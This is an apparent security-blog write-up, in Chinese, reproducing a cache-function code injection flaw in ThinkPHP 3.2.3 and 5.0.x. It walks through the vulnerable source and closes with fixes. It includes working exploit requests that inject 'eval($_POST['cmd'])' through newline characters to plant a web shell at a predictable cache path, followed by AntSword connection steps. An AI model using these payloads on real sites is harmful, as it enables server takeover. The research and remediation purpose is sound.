phpthink3.2.3-5.0.10缓存函数缺陷
漏洞利用
thinkphp3.2.3
漏洞文件位置(一般审计得出)
http://domain/index.php/Home/Index/get?id=%0d%0aeval($_POST['cmd']);%0d%0a//
缓存文件为缓存名的md5值,这里采用md5(name)=b068931cc450442b63f5b3d276ea4297
http://domain/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php
之后蚁剑连接。
thinkphp5.0.5
漏洞文件位置(一般审计得出)
http://domain/public/index.php/Home/Index/index
POST数据 :
con=%0d%0aeval($_POST['cmd']);%0d%0a//
缓存文件位置b0文件夹是md5(cache-name)前2位。
http://domain/runtime/cache/b0/b068931cc450442b63f5b3d276ea4297.php
蚁剑连接
局限性
- 使用
S()
函数或者Cache()
函数的位置不确定,尽量拿源码分析。 - 使用缓存函数的
name
变量未知,拿源码分析或尝试常用的缓存名name
、key
3.2.3漏洞复现
直接跟进到
/Library/Think/Cache/File.class.php
文件,看到set方法:1
/**
2
* 写入缓存
3
* @access public
4
* @param string $name 缓存变量名
5
* @param mixed $value 存储数据
6
* @param int $expire 有效时间 0为永久
7
* @return boolean
8
*/
9
public function set($name,$value,$expire=null) {
10
N('cache_write',1);
11
if(is_null($expire)) {
12
$expire = $this->options['expire'];
13
}
14
$filename = $this->filename($name);
15
$data = serialize($value);
16
if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
17
//数据压缩
18
$data = gzcompress($data,3);
19
}
20
if(C('DATA_CACHE_CHECK')) {//开启数据校验
21
$check = md5($data);
22
}else {
23
$check = '';
24
}
25
$data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
26
//data参数经过序列化,直接被写到文件内。
27
28
$result = file_put_contents($filename,$data);
29
if($result) {
30
if($this->options['length']>0) {
31
// 记录缓存队列
32
$this->queue($name);
33
}
34
clearstatcache();
35
return true;
36
}else {
37
return false;
38
}
39
}
写一个调用缓存函数的的方法,运行一下。看看写进去什么
1
<?php
2
namespace Home\Controller;
3
use Think\Controller;
4
class IndexController extends Controller {
5
6
public function index(){
7
$a=I('post.a3');
8
S('name',$a);
9
}
10
}
在set方法下断点,访问
http://localhost/index.php/Home/Index/index.html
,post数据:a3=aaaa
可以看到$data参数经过序列化,直接写入php后缀的文件。F9运行可以看到,在
Application/Runtime/Temp/
文件夹下生成了php文件。写入到文件被行注释了。
$data
参数未过滤%0d%0a
可以用换行来绕过行注释,尝试post数据:a3=%0d%0aeval($_POST['cmd']);%0d%0a//
之后用蚁剑连接成功
5.0.5漏洞复现
漏洞代码与3.2.3差不多,不一样的在缓存目录
1
protected function getCacheKey($name)
2
{
3
$name = md5($name);
4
if ($this->options['cache_subdir']) {
5
// 使用子目录
6
$name = substr($name, 0, 2) . DS . substr($name, 2);
7
}
8
if ($this->options['prefix']) {
9
$name = $this->options['prefix'] . DS . $name;
10
}
11
$filename = $this->options['path'] . $name . '.php';
12
$dir = dirname($filename);
13
if (!is_dir($dir)) {
14
mkdir($dir, 0755, true);
15
}
16
return $filename;
17
}
在index控制器写如下代码:
之后访问
http://localhost/public/index.php/Home/index
POST数据:con=%0aeval($_POST['cmd']);%0d//
最终在
runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
文件生成shell:之后访问蚁剑
http://localhost/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
坑
在复现的时候看到CMS-hunter里对这个漏洞有这个描述:
1 | 个人在复现这个漏洞的时候发现5.0.x版本的TP并不能直接访问到缓存文件所在的目录,因此可以情况下不能触发该漏洞。在3.2.x版本是可以直接从浏览器访问到缓存文件的。 |
但在个人复现的时候并没有出现这个情况。
所以说一切还是自己复现一边才能填坑
修复方法
过滤换行符
在$data写入文件之前过滤
$data = str_replace(PHP_EOL, '', $data);
禁止访问目录
在
Runtime
目录添加.htaccess
文件,内容:1
<IfModule mod_rewrite.c>
2
deny from all
3
</IfModule>